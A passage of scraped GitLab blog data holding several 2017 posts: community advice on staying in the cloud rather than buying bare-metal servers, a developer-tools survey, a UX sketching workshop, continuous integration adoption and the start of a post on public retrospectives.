cloud","What we learned from our community vetting our proposal to leave the cloud.","https://about.gitlab.com/blog/why-we-are-not-leaving-the-cloud","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we are not leaving the cloud\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sean Packham\"}],\n        \"datePublished\": \"2017-03-02\",\n      }",{"title":36245,"description":36246,"authors":36250,"heroImage":12013,"date":36252,"body":36253,"category":734},[36251],"Sean Packham","2017-03-02","\n\n\u003Cscript>\n  var disqus_identifier = '/blog/why-we-are-not-leaving-the-cloud/';\n\u003C/script>\n\nTowards the end of 2016 we said we were [leaving the cloud for bare metal](/blog/why-choose-bare-metal/) and shared our [hardware proposal](https://news.ycombinator.com/item?id=13153031). In December 2016, after receiving hundreds of comments and emails filled with advice and warnings, [Sid and the team decided](https://gitlab.com/gitlab-com/infrastructure/issues/727#note_20044060) to keep GitLab.com in the cloud. The rest of the post summarizes some of the great community support and feedback we received and ends with how we are committed to making GitLab.com fast and stable in the cloud. Our decision was based on  more than what is below but we wanted to give you a good summary of all the interesting things that were shared publicly.\n\n\u003C!-- more -->\n\n## Let's begin on the topic of cost\n\n> When I was at Koding we made a similar move from AWS to bare metal. The costs were amazing. Something like $20k a month for what in AWS would cost $200k. I have been saying for a very long time that once you hit a certain scale AWS no longer makes sense. *[Geraint - GitLab blog: Going bare metal](/blog/why-choose-bare-metal/#comment-2999631471)*\n\n> We had 140 servers hosted in New York City for 10 years or so, and hosting only was going up and up, and contracts didn't give us flexibility to add cabinets when we needed. We basically had to cancel the previous contract, make a new one, pay for the upgrade, pay for the cabinet setup, etc... At some point, when we had financial trouble paying $14K/month for hosting, we decided to move all our servers from NYC to Tallinn, Estonia, where we built our own a small scale datacenter. As a result, we were able to cut hosting fees x10. *[Dmitri - GitLab blog: Proposed server purchase](/blog/proposed-server-purchase-for-gitlab-com/#comment-3049071074)*\n\n\u003Cdiv style=\"font-size: 38px; line-height: 1.2; margin: 45px 0 55px; font-style: italic;\">\nIt's not just the cost of owning and renewing the hardware, it's everything else that comes with it – daenney\n\u003C/div>\n\n> It's not just the cost of owning and renewing the hardware, it's everything else that comes with it. Designing your network, performance tuning and debugging everything. Suddenly you have a capacity issue, now what b/c you're not likely to have a spare 100 servers racked and ready to go, or be able to spin them up in 2m? Autoscaling? *[daenney - Hacker News: Proposed server purchase](https://news.ycombinator.com/item?id=13153296)*\n\n> Application Architecture is far more important than Cloud vs. Bare Metal. It is just easier and more cost effective to throw more bare metal hardware at the problem than it is cloud instances. For some this does make bare metal the better option. *[mohctp - Hacker News: Proposed server purchase](https://news.ycombinator.com/item?id=13162964)*\n\n> Moving to your own hardware will almost certainly improve performance, reduce incidental downtime, and cut costs substantially. Including hiring more engineers, you might expect total costs to be ~40-50% of what you would have spent on cloud-based services over the first 24 months. If your hardware lifecycle is 36-48 months, you will see large savings beyond 24 months. *[bobf - Hacker News: Proposed server purchase](https://news.ycombinator.com/item?id=13153413)*\n\n> I think they are going to underestimate the cost to GitLab in the long run. When they need to pay for someone to be a 30 minute drive from their DC 24/7/365 after the first outage, when they realize how much spare hardware they are going to want around, etc. *[manacit - Hacker News: Proposed server purchase](https://news.ycombinator.com/item?id=13154057)*\n\n## What About Performance?\n\n> A cloud service providers' biggest responsibilities to its customers are security, durability, availability and performance -- in that order. You guys are vastly underestimating the complexity involved in getting first 3 right. *[mritun - Hacker News: Proposed server purchase](https://news.ycombinator.com/item?id=13155809)*\n\n> Very few teams at Google run on dedicated machines. Those that do are enormous, both in the scale of their infrastructure and in their team sizes. I'm not saying always go with a cloud provider, I'm reiterating that you'd better be certain you need to. *[boulos - Hacker News: Going bare metal](https://news.ycombinator.com/item?id=12941210)*\n\n\u003Cdiv style=\"font-size: 38px; line-height: 1.2; margin: 45px 0 55px; font-style: italic;\">\nA company rolling their own system doesn't have to share, and they can optimise specifically for their own requirements – taneq\n\u003C/div>\n\n> As a cloud provider, though, you're trying to provide shared resources to a group of clients. A company rolling their own system doesn't have to share, and they can optimise specifically for their own requirements. *[taneq - Hacker News: Going bare metal](https://news.ycombinator.com/item?id=12940925)*\n\n> My thinking is that elasticity and recovery from hardware failure, and migration and multi-data center high availability will become concerns. Moving from the cloud to bare metal gives you performance and simplicity, but doesn't give you as many ways of recovering from network interruptions, and hardware failures. *[wpostma - the GitLab blog: Going bare metal](/blog/why-choose-bare-metal/#comment-3001348957)*\n\n> It sounds like they didn't design for the cloud and are now experiencing the consequences. The cloud has different tradeoffs and performance characteristics from a datacenter. If you plan for that, it's great. Your software will be robust as a result. If you assume the characteristics of a data center, you're likely to run into problems. *[wandernotlost - Hacker News: Going bare metal](https://news.ycombinator.com/item?id=12940082)*\n\n\u003Cdiv style=\"font-size: 38px; line-height: 1.2; margin: 45px 0 55px; font-style: italic;\">\nIt makes sense to keep GitLab.com as an eat-your-own-dog-food-at-scale environment – jtwaleson\n\u003C/div>\n\n> It makes sense to keep GitLab.com as an eat-your-own-dog-food-at-scale environment.  If one of their customers that run on-premise has performance issues they can't just say: GitLab.com uses a totally different architecture so you're on your own. They need GitLab.com to be as close as possible to the standard product. *[twaleson on Hacker News: Going bare metal](https://news.ycombinator.com/item?id=12940462)*\n\n> They are moving from cloud to bare metal because of performance while using a bunch of software that are notoriously slow and wasteful. I would optimise the hell out of my stack before commit to a change like this. Building your own racks does not deliver business value and it is extremely error prone process (been there, done that). *[StreamBright - Hacker News: Proposed server purchase](https://news.ycombinator.com/item?id=13153866)*\n\n## Advice on our storage proposals\n\n> __Don't f*ck with storage.__ 32 file servers for 96TB? Same question as with networking re:ceph. What are your failure domains? How much does it cost to maintain the FTEs who can run this thing? *[Spooky23 - Hacker News: Proposed server purchase](https://news.ycombinator.com/item?id=13153860)* - *Spooky23 did warn us \"I'm a cranky old person now\".*\n\n> I think there might be a pretty big IOPS drop when you switch over to this hardware. You're looking at having approximately 60 7200 RPM drives in this CephFS cluster. Doing the math, if you assume each of those drives can do 100 read and 100 write IOPS, and that you are doing 3x replication on write (plus journal writes), you're not going to get anywhere near the numbers that you want. *[Nicholas - the GitLab blog: Proposed server purchase](/blog/proposed-server-purchase-for-gitlab-com/#comment-3047537669)*\n\n>I would think that GitLab's workload is mostly random, which would pose a problem for larger drives. The SSDs are a great idea, but I've only seen 8TB drives used when there are 2 to 3 tiers; with 8TB drives being all the way on the bottom. I'm not sure how effective having a single SSD as a cache drive for 24TBs of 8TB disks will be. *[lykron - Hacker News: Proposed server purchase](https://news.ycombinator.com/item?id=13153333)*\n\n## and our choice of 8TB drives\n\n> If you are looking for performance, do not get the 8TB drives. In my experience, drives above 5TB do not have good response times. I don't have hard numbers, but I built a 10 disk RAID6 array with 5TB disks and 2TB disks and the 2TB disks were a lot more responsive. *[lykron - Hacker News: Proposed server purchase](https://news.ycombinator.com/item?id=13153196)*\n\n> Just a few quick notes. I've experience running ~300TB of usable Ceph storage. Stay away from the 8TB drives. Why are you using fat twins? Honestly, what does that buy you? You need more spindles, and fewer cores and memory. With your current configuration, what are you getting per rack unit? *[halbritt - Hacker News: Proposed server purchase](https://news.ycombinator.com/item?id=13153786)*\n\n##  Feedback on our network proposals\n\n>__Don't f*ck with networking.__ Do you have experience operating same or similar workloads on your super micro SDN? Will the CEO of your super micro VAR pickup his phone at 2AM when you call? *[Spooky23 - Hacker News: Proposed server purchase](https://news.ycombinator.com/item?id=13153860)*\n\n> I would not use 10GBase-T since it's designed for desktop use. I suggest ideally 25G SFP28 (AOC-MH25G-m2S2TM) but 10G SFP+ (AOC-MTG-i4S) is OK. The speed and type of the switch needs to match the NIC (you linked to an SFP+ switch that isn't compatible with your proposed 10GBase-T NICs). *[wmf - Hacker News: Proposed server purchase](https://news.ycombinator.com/item?id=13153678)*\n\n> I didn't see it mentioned but what are your plans for the network strategy. Are you planning to run dual-stack IPv4/IPv6 ? IPv4 only? Internal IPv6 only with NAT64 to the public stuff? Hopefully IPv6 shows up somewhere in the stack. It's sad to see big players not using it yet. *[tomschlick - Hacker News: Proposed server purchase](https://news.ycombinator.com/item?id=13153922)*\n\n> Don't fall into the trap of extending VLANs everywhere. You should definitely be routing (not switching) between different routers.\n>\n> \"Should we have a separate network for Ceph traffic?\" Yes, if you want your Ceph cluster to remain usable during rebuilds. Ceph will peg the internal network during any sort of rebuild event. *[devicenull - Hacker News: Proposed server purchase](https://news.ycombinator.com/item?id=13153339)*\n\n## What did the community have to say about Ceph?\n\n> I lead a technical operations team that moved our infrastructure from public cloud (~400 instances) to private cloud (~55 physical servers) and finally, to Kubernetes (6 physical servers). We actually run a mix of Kubernetes and OpenStack, putting apps and services in Kubernetes and all data storage in OpenStack. I've done extensive testing with Ceph and while it adds flexibility, you're not going to be able to touch the I/O performance of bare metal local disks for database use. For storage, I like to keep it simple. I rely on the Linux OS running on standard tried-and-true filesystems (ext4 and ZFS) and build redundancy at the software layer. *[Chris - GitLab blog: Proposed server purchase](/blog/proposed-server-purchase-for-gitlab-com/#comment-3047381500)*\n\n> We had disastrous experiences with Ceph and Gluster on bare metal. I think this says more about the immaturity (and difficulty) of distributed file systems than the cloud per se. *__[codinghorror - Hacker News: Going bare metal](https://news.ycombinator.com/item?id=12940042)__*\n\n> You need to make sure that there is not an architecture that you can build that absolves you of having to run a CephFS cluster. CephFS is cool, but it is a single point of failure right now, and comes with a ton of caveats. Performance and stability will be much improved if you remove the layer of abstraction it creates and write your app to handle some sort of distributed storage system. *[Nicholas - GitLab blog: Proposed server purchase](/blog/proposed-server-purchase-for-gitlab-com/#comment-3047478761)*\n\n\u003Cdiv style=\"font-size: 38px; line-height: 1.2; margin: 45px 0 55px; font-style: italic;\">\nBe very very careful about Ceph hype – late2part\n\u003C/div>\n\n> Be very very careful about Ceph hype. Ceph is good at redundancy and throughput, but not at IOPS, and Rados IOPS are poor. We couldn't get over 60k random RW IOPS across a 120 OSD cluster with 120 SSDs. *[late2part - GitLab blog: Proposed server purchase](https://news.ycombinator.com/item?id=13154620)*\n\n> If you're using CephFS and everyone else wants to be using other Cloud storage solutions, that would actually put you at a disconnect with your users and leave room for a competitor with the tools and experience to scale out on Cloud storage to come in offering support. *[Rapzid - Hacker News: Going bare metal](https://news.ycombinator.com/item?id=12946174)*\n\n## How would moving to metal affect the GitLab team?\n\n> Your core competency is code, not infrastructure, so striking out to build all of these new capabilities in your team and organization will come at a cost that you can not predict. Looking at total cost of ownership of cloud vs steel isn't as simple as comparing the hosting costs, hardware and facilities. *[ninjakeyboard - Hacker News: Proposed server purchase](https://news.ycombinator.com/item?id=13153779)*\n\n\u003Cdiv style=\"font-size: 38px; line-height: 1.2; margin: 45px 0 55px; font-style: italic;\">\nYour core competency is code, not infrastructure – ninjakeyboard\n\u003C/div>\n\n> Another problem I would say to move to metal is that you lose support. Cloud vendors have entire teams, network, systems, datacenters etc. at your disposal, this is included in the price you are paying. Are you sure you are ready to debug networking issues, systems problems at the level as the cloud vendors? It is a tough job. *[l1x - GitLab blog: Proposed server purchase](/blog/proposed-server-purchase-for-gitlab-com/#comment-3047353138)*\n\n> I think you're under estimating the number of people required to run your own infrastructure. You need people who can configure networking gear, people swapping out failed NICs/Drives at the datacenter, someone managing vendor relationships, and people doing capacity planning. *[thebyrd-on Hacker News: Proposed server purchase](https://news.ycombinator.com/item?id=13153644)*\n\n## Let’s just abandon x86 altogether\n\n\u003Cdiv style=\"font-size: 38px; line-height: 1.2; margin: 45px 0 55px; font-style: italic;\">\nWhy bind yourself to Intel servers? – MBH\n\u003C/div>\n\n> Why bind yourself to Intel servers? The max CPU-to-Memory bandwidth is 68 GB/s. That's horrible for crunching data fast. IBM's POWER8 systems have servers with 230 GB/s CPU-to-Memory bandwidth, and others with 320 GB/s...\n>\n> ...POWER8 CPUs have a different architecture than Intel: PPC64, so you may need to recompile some things, or have some Intel systems for workloads that can only run on x86_64. *[MBH - GitLab blog: Proposed server purchase](/blog/proposed-server-purchase-for-gitlab-com/#comment-3053432409)*\n\n## We all have an opinion\n\n> I've only ever built desktop machines, and this top comment drew a surprising parallel to most help me with my desktop build type posts. Granted, I'm sure as you dig deeper, the reasoning may be much different, but myself being ignorant about a proper server build, it was somehow reassuring to see power and cooling at the top! *[davidbrent - Hacker News: Proposed server purchase](https://news.ycombinator.com/item?id=13154202)*\n\n## We are taking a step back and using a boring solution\n\nWe want to scale intelligently and build great software; we don’t want to be an infrastructure company. We are embracing and are excited about solving the challenge of scaling GitLab.com on the cloud, because solving it for us also solved it for the largest enterprises in the world using GitLab on premise.\n\nMost of the scaling headaches have occurred because Git is read-heavy: looking at our Git Read/Write performance chart below, you can see that for about every 300 reads we get 10 writes. We tried to solve this by running CephFS in the cloud but it goes against our value of using the simplest, most  [boring solution](/handbook/#values) for a problem.\n\n![An average of 300 Reads to 10 writes](https://about.gitlab.com/images/blogimages/why-we-are-not-leaving-the-cloud-chart.png)\n\n## How are we going to get back to basics?\n\n1. We spread all our storage into [multiple NFS shards](https://gitlab.com/gitlab-com/infrastructure/issues/711) and [dropped CephFS](https://gitlab.com/gitlab-com/infrastructure/issues/817) from our stack.\n2. We created [Gitaly](https://gitlab.com/gitlab-org/gitaly) so that we can stop relying on NFS for horizontal scaling and speed up Git access through caching.\n\n[Gitaly](https://gitlab.com/gitlab-org/gitaly) will serve as the single interface for all our Git access throughout our stack. With Gitaly the gitrpc travels over the network and the disk is accessed locally. Instead of all the disk access going over the network. It will also be used to improve our monitoring of Git resource usage to make better decisions; currently we are only sampling processes.\n\nWe would love if the community would challenge our use of Gitaly with the same passion they challenged us before. What do you think of the software architecture? Can a caching layer like this scale? What alarm bells are set off? We can’t wait to hear your feedback!\n\nWe would like to thank our community, customers, team and board for all their great support – you all make GitLab an incredible product.\n",{"slug":36255,"featured":6,"template":678},"why-we-are-not-leaving-the-cloud","content:en-us:blog:why-we-are-not-leaving-the-cloud.yml","Why We Are Not Leaving The Cloud","en-us/blog/why-we-are-not-leaving-the-cloud.yml","en-us/blog/why-we-are-not-leaving-the-cloud",{"_path":36261,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36262,"content":36267,"config":36271,"_id":36273,"_type":16,"title":36274,"_source":17,"_file":36275,"_stem":36276,"_extension":20},"/en-us/blog/developers-crave-modern-tools",{"title":36263,"description":36264,"ogTitle":36263,"ogDescription":36264,"noIndex":6,"ogImage":14458,"ogUrl":36265,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36265,"schema":36266},"The secret to developer happiness? Use better tools","The way developers work has changed, and they’re opting to leave behind outdated tools.","https://about.gitlab.com/blog/developers-crave-modern-tools","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The secret to developer happiness? Use better tools\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2017-02-27\",\n      }",{"title":36263,"description":36264,"authors":36268,"heroImage":14458,"date":36269,"body":36270,"category":8943},[22017],"2017-02-27","\n\nGreat software is built by great people—not “magic bullet” tools or technologies. However, [research reveals](https://page.gitlab.com/2016-developer-survey_2016-developer-survey.html) that the tools you choose for your team may have a greater impact on developer happiness and retention that you thought. In fact, a whopping 81% of developers say that it’s critical organizations use the latest development tools and 36% go as far as to say they would reject a job if the employer didn’t use the latest tools. Why are new tools becoming non-negotiable for developers?\n\n\u003C!-- more -->\n\n## How better tools help software developer and engineer happiness\n\nDevelopers are opinionated and rigorous when it comes building their work environment,  because tools can have a massive impact on their ability to get their work done. Whether they’re losing time waiting for complicated systems to update or struggling to effectively collaborate with their team, developers are becoming more and more frustrated with tools that can’t keep up the pace their job demands.\n\nAs software development continues to trend toward distributed and open systems, process-driven methodologies are dying out in exchange for more asynchronous, collaborative workflows. One result of this setup is the empowerment of individual contributors as influencers in organizations that depend on them to beat their competition to market. Last year, we launched our [Global Developer Survey](https://page.gitlab.com/2016-developer-survey_2016-developer-survey.html) to examine more closely how software development is adapting from pressures within and without, and how these changes affect the way teams work. Chief among these trends is developers' insistence on using tools that make them the most effective in their jobs; below you will find some of our key findings on how developers are bringing modern tools into the workplace.\n\n## Our respondents are in-the-know\n\nOur sample is developer-heavy, with 53 percent of respondents identifying themselves as an engineer or developer, ensuring that their views are well-represented here.\n\n![What are respondents' roles](https://about.gitlab.com/images/blogimages/role-within-org-graph.png){: .shadow}\u003Cbr>\n\n## Devs drive adoption\n\nOur respondents told us that developers have the upper hand when selecting the tools they work with—when asked who in their organization decides which tools they use, a plurality of 44 percent said they choose their own.\n\nThe next most common response reinforces developer primacy in this area: 17 percent of respondents reported that their lead developer drives tool selection. It’s remarkable, and a clear sign of developers’ rising agency and power within their organizations, that less than 20 percent said that decision is made by their CTO/CIO, IT Director, or Head of Engineering. Tellingly, 11 percent insisted that they use whichever tools they want, even though they’re not officially in charge of the decision.  \n\n![Who decides which tools are used](https://about.gitlab.com/images/blogimages/who-in-org-decides-tools-graph.png){: .shadow}\u003Cbr>\n\n## They insist on the newest and best\n\nDevelopers’ increasing power to choose tooling is matched by the strength of their opinions. Eighty-one percent of respondents told us it’s critical for organizations to use the latest development tools. This insistence on using only the newest and best runs deep, even, in some cases, if it seems counter to their immediate self-interest: 36 percent of developers said they would reject a job if the organization did not use the latest tools. Once they’re satisfied with a tool, they also opt for consistency, with 91 percent of respondents telling us they’d prefer to use the same tools for work and personal projects.  \n\nFor more on how devs work now, download the [full report](https://page.gitlab.com/2016-developer-survey_2016-developer-survey.html), and look out for the next in this series, where we’ll discuss the popularity of open source tooling.\n\n*[Learn more](/free-trial/) about how GitLab Enterprise Edition can help your team achieve software excellence, and try for yourself!*\n",{"slug":36272,"featured":6,"template":678},"developers-crave-modern-tools","content:en-us:blog:developers-crave-modern-tools.yml","Developers Crave Modern Tools","en-us/blog/developers-crave-modern-tools.yml","en-us/blog/developers-crave-modern-tools",{"_path":36278,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36279,"content":36285,"config":36289,"_id":36291,"_type":16,"title":36292,"_source":17,"_file":36293,"_stem":36294,"_extension":20},"/en-us/blog/how-our-ux-team-worked-through-ideation-using-the-four-step-sketch",{"title":36280,"description":36281,"ogTitle":36280,"ogDescription":36281,"noIndex":6,"ogImage":36282,"ogUrl":36283,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36283,"schema":36284},"How our UX team worked through ideation using the Four-Step Sketch","During our recent Summit, the UX team customized the Google Ventures Design Sprint process to tackle some of our larger feature proposals.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684097/Blog/Hero%20Images/facilitating-ideas--overview.jpg","https://about.gitlab.com/blog/how-our-ux-team-worked-through-ideation-using-the-four-step-sketch","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How our UX team worked through ideation using the Four-Step Sketch\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taurie Davis\"}],\n        \"datePublished\": \"2017-02-23\",\n      }",{"title":36280,"description":36281,"authors":36286,"heroImage":36282,"date":36287,"body":36288,"category":734},[19672],"2017-02-23","\n\nThroughout our [summit in Cancún](/blog/gitlab-mexico-summit-2017/), the UX team took advantage of the time we had together by creating workshops that dived into some larger features we thought would benefit from discussing, brainstorming, and sketching. We chose the idea of a [smart project dashboard](https://gitlab.com/gitlab-org/gitlab-ce/issues/22551) as one of the features to focus on as we worked through the ideation phase.\n\n\u003C!-- more -->\n\nIn one of our two hour workshops, we took an expedited approach to the [Google Ventures Design Sprint](http://www.gv.com/sprint/) process. Their method is focused on answering critical questions through design over the course of five days. Customizing the exercise for our limited time, we used portions of their checklist from [Day 2](https://library.gv.com/sprint-week-tuesday-d22b30f905c3). In this post, I'll share how we set ourselves up for a productive session.\n\n### The problem\n\nOne of our primary goals was to create a tool that reflects the status of a project as it evolves through each step of the idea-to-production lifecycle. Before getting started, we established some basic details regarding the feature that would help provide a structure for discussion:\n\n- Content would be customized to the project, but every user would see the same information.\n- As someone unfamiliar with the project, I can, at a glance, understand the overall status of the project.\n- As someone familiar with the project, I can understand the status of the areas I care about. It is also clear which items needs my attention.\n\nWe used these as guidelines to start our exploration into what it could mean to transform the project dashboard.\n\n### The process\n\nWith an ambitious problem now in mind, we structured our workshop to focus on the ideation phase using Google Ventures' Four-Step Sketch as inspiration:\n\n- Notes/Ideas: 10 mins\n- Crazy 8s: 8 mins\n- Solution sketch/storyboards: 30 mins\n- Silent critique: 10 mins\n\nWe began with 10 minutes to jot down notes and ideas individually. We used this time to become more familiar with the current state of the dashboard, think about possibilities of where it could go, and reflect on questions that arose as a result. These notes were meant for ourselves, as a way to review and understand the problem.\n\nAfter gathering our thoughts, we went straight into the rapid iterative sketching process: Crazy 8s. This method allowed the team to individually generate a lot of ideas quickly by sketching eight different interactions within an eight minute time frame. With one minute per frame, we were forced to throw perfection out the window and focus on getting ideas onto paper. Many of us began to feel like we were scraping the bottom of the barrel to come up with new sketches as the minutes passed, but this is often when great solutions begin to arise.\n\n![crazyeights](https://about.gitlab.com/images/blogimages/how-our-ux-team-worked-through-ideation-using-the-four-step-sketch/facilitating-ideas--crazyeights.jpg){: .shadow}\n\nAfter thinking about the problem and potential solutions individually, we began solution-sketching through storyboards. This gave us the chance to further develop the details of a solution we chose through the crazy 8s. We started with a blank sheet of paper, placed three sticky notes on the page to represent three frames, and spent twenty minutes sketching more detailed wireframes. In the surrounding white space, we named our storyboard and wrote a brief explanation of the idea in order to ensure that the frame was understandable without verbal explanation. This helped us prepare for the next step, our silent critique.\n\n![storyboards](https://about.gitlab.com/images/blogimages/how-our-ux-team-worked-through-ideation-using-the-four-step-sketch/facilitating-ideas--storyboard.jpg){: .shadow}\n\nWe moved to an area in the room that allowed us to hang our storyboards on the wall and gave everyone dot stickers to use as part of the critique. We spent ten minutes looking at all of the solutions and placed stickers on every idea that we liked, focusing only on the positive. There were no rules regarding how many stickers you used. After we had finished, multiple ideas began to stand out among our boards.\n\nWe naturally began discussing all the solutions and adding sticky notes to the wall when we came up with a prominent idea or question to come back to. We spent about 45 minutes doing a group critique and discussing the storyboards in more detail. This also gave us the opportunity to ask questions and get clarification on aspects that may not have been immediately clear. We saw patterns emerge from the different sketches and common ideas became more prominent.\n\n![team](https://about.gitlab.com/images/blogimages/how-our-ux-team-worked-through-ideation-using-the-four-step-sketch/facilitating-ideas--team.jpg){: .shadow}\n\n### Next steps\n\nAt the end of our workshop we had generated a number of ideas for the new project dashboard. The Four-Step Sketch was great for opening our minds and allowing us to develop and communicate solutions. You can [view all of our sketches](https://drive.google.com/drive/folders/0B-PqsmU0p5QVMFZCNm4yRFhBblU?usp=sharing), and [contribute to the issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/27112) as we continue to flesh out details surrounding the new dashboard.\n\n*How does your team work together through the ideation phase? Get in touch through the comments below or via taurie@gitlab.com*\n",{"slug":36290,"featured":6,"template":678},"how-our-ux-team-worked-through-ideation-using-the-four-step-sketch","content:en-us:blog:how-our-ux-team-worked-through-ideation-using-the-four-step-sketch.yml","How Our Ux Team Worked Through Ideation Using The Four Step Sketch","en-us/blog/how-our-ux-team-worked-through-ideation-using-the-four-step-sketch.yml","en-us/blog/how-our-ux-team-worked-through-ideation-using-the-four-step-sketch",{"_path":36296,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36297,"content":36303,"config":36307,"_id":36309,"_type":16,"title":36310,"_source":17,"_file":36311,"_stem":36312,"_extension":20},"/en-us/blog/ci-integral-to-everyday-work",{"title":36298,"description":36299,"ogTitle":36298,"ogDescription":36299,"noIndex":6,"ogImage":36300,"ogUrl":36301,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36301,"schema":36302},"Continuous integration: A tool developers expect","77% of developers say Continuous Integration is integral to their everyday work – we break down what that means.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671420/Blog/Hero%20Images/ci-nice-to-have-post.png","https://about.gitlab.com/blog/ci-integral-to-everyday-work","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Continuous integration: A tool developers expect\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-02-22\",\n      }",{"title":36298,"description":36299,"authors":36304,"heroImage":36300,"date":36305,"body":36306,"category":8943},[19026],"2017-02-22","\n\nWhat is continuous integration? Continuous integration is the practice that developers use to detect, locate and fix errors quickly by integrating their code frequently into a shared repository and is becoming a non-negotiable aspect of everyday work.\n\n\u003C!-- more -->\n\n[Continuous integration (CI)](/solutions/continuous-integration/) automates testing of new code, sparing developers the time-consuming task of checking it manually, and with increasing numbers of companies using this approach every day, CI is essential to staying competitive and to retaining your talent.\n\nOur [Global Developer Report](https://page.gitlab.com/2016-developer-survey_2016-developer-survey.html) was launched last year to explore the ways in which developers work is changing, and how you as a business can adapt to get the best out of your development team. With a developer-heavy sample (more than half of respondents identify as developer or engineer), the survey revealed some truths about what matters to developers, how they choose to work and what tools they choose to do it with. To see what our research revealed, you can [download the full report](https://page.gitlab.com/2016-developer-survey_2016-developer-survey.html) to learn more about what today’s developers want.\n\nOne of the key takeaways from the survey is that continuous integration and continuous integration tools now plays a crucial part in daily work, and is becoming more and more important to delivering great features frequently. CI frees up time that would otherwise be spent on finding and fixing errors, and it decreases the chance of shipping code that isn’t ready.\n\n![How much Continuous Integration is used](https://about.gitlab.com/images/blogimages/ci-tool-developers-expect.png){: .shadow}\u003Cbr>\n\n## CI is used by more than half of developers\n\nDevOps continuous integration is becoming more mainstream. Developers are now using it more than 75 percent of the time. More than 20 percent use it nearly 100 percent of the time, with only 4 percent not using continuous integration at all. The trend is clear: Continuous integration is becoming increasingly important.\n\n## CI makes best use of your team’s time\n\nThere are many benefits of continuous integration. Deploying untested code means time is wasted on backtracking to find and fix bugs. Nearly 54 percent of our respondents work on a developer team of fewer than 10, so any resources spent on tasks that could be automated has a huge impact. Adopting continuous integration means new code is automatically tested for errors, so your developers spend less time on dull, manual testing and can focus on the work that inspires them – like building great new features.\n\n## 77 percent of developers think CI is essential\n\nThey rated continuous integration and continuous integration tools as very or extremely important to their everyday work. If this trend is to continue, CI will soon be an essential element of your software development lifecycle, and companies that are resistant to adopting it may find their development team growing restless: 36 percent of developers said they would turn down a job if the company did not use the latest tools.\n\n## Continuous methods aren’t just for developers\nWe’ve come a long way since a release consisted of distributing CDs to retailers, and it’s not just developers who are changing their methods. The practice of working continuously – releasing in small, manageable iterations often and integrating feedback and changes frequently – is something everyone in a company can adopt, to work more efficiently and collaboratively. Watch our webcast to explore in more detail how the continuous approach can help you deliver customer value at the pace it takes to complete.\n\n\u003Cp class=\"alert alert-orange\" style=\"background-color: rgba(252,163,38,.3); border-color: rgba(252,163,38,.3); color: rgb(226,67,41) !important; text-align: center;\">Watch our webcast &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> &nbsp;&nbsp;\u003Cstrong>From Continuous Integration to Continuous Everything\u003C/strong> &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> \u003Ca style=\"color: rgb(107,79,187);\" href=\"https://page.gitlab.com/20170301_continuouseverything.html\">Register here\u003C/a>!\u003C/p>\n\n_Tweet us [@GitLab](https://twitter.com/gitlab), check out our [job openings](/jobs/), or add your questions and suggestions to our [issue tracker](https://gitlab.com/gitlab-org/gitlab-ce/issues)!_\n",{"slug":36308,"featured":6,"template":678},"ci-integral-to-everyday-work","content:en-us:blog:ci-integral-to-everyday-work.yml","Ci Integral To Everyday Work","en-us/blog/ci-integral-to-everyday-work.yml","en-us/blog/ci-integral-to-everyday-work",{"_path":36314,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36315,"content":36321,"config":36325,"_id":36327,"_type":16,"title":36328,"_source":17,"_file":36329,"_stem":36330,"_extension":20},"/en-us/blog/our-retrospective-and-kickoff-are-public",{"title":36316,"description":36317,"ogTitle":36316,"ogDescription":36317,"noIndex":6,"ogImage":36318,"ogUrl":36319,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36319,"schema":36320},"Our retrospectives and kickoffs are now public","GitLab's release retrospectives and kickoffs are now open to our community!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684092/Blog/Hero%20Images/drone-camera.png","https://about.gitlab.com/blog/our-retrospective-and-kickoff-are-public","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Our retrospectives and kickoffs are now public\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rémy Coutable\"}],\n        \"datePublished\": \"2017-02-14\",\n      }",{"title":36316,"description":36317,"authors":36322,"heroImage":36318,"date":36323,"body":36324,"category":299},[21642],"2017-02-14","\n\nAs stated in the [GitLab Master Plan][gitlab-master-plan], we strive to maintain\na high level of [transparency](https://handbook.gitlab.com/handbook/values/). That's why today we are making our release retrospective and kickoff notes and\ncalls public.\n\n\u003C!-- more -->\n\n## The retrospective meeting\n\nAfter each release we have a retrospective\ncall in which we discuss what went well, what went wrong, and what we can improve\nfor the next release. The [retrospective notes] are public and you are invited\nto comment on them. If you're interested, you can even join the\n[retrospective call][retro-kickoff-call], on the first working day after the 22nd\nat 6pm CET / 9am PST.\n\n## The kickoff meeting\n\nBefore working on the next release we have a\nkickoff call to explain what we expect to ship in the next release. The\n[kickoff notes] are public and you are invited to comment on them.\nIf you're interested, you can even join the [kickoff call][retro-kickoff-call],\non the first working day after the 7th at 6pm CET / 9am PST.\n\n## The 8.16 retrospective and 8.17 kickoff call\n\nIf you want to see what these calls look like, checkout the 8.16 retrospective\nand 8.17 kickoff call below:\n\n\u003Cfigure 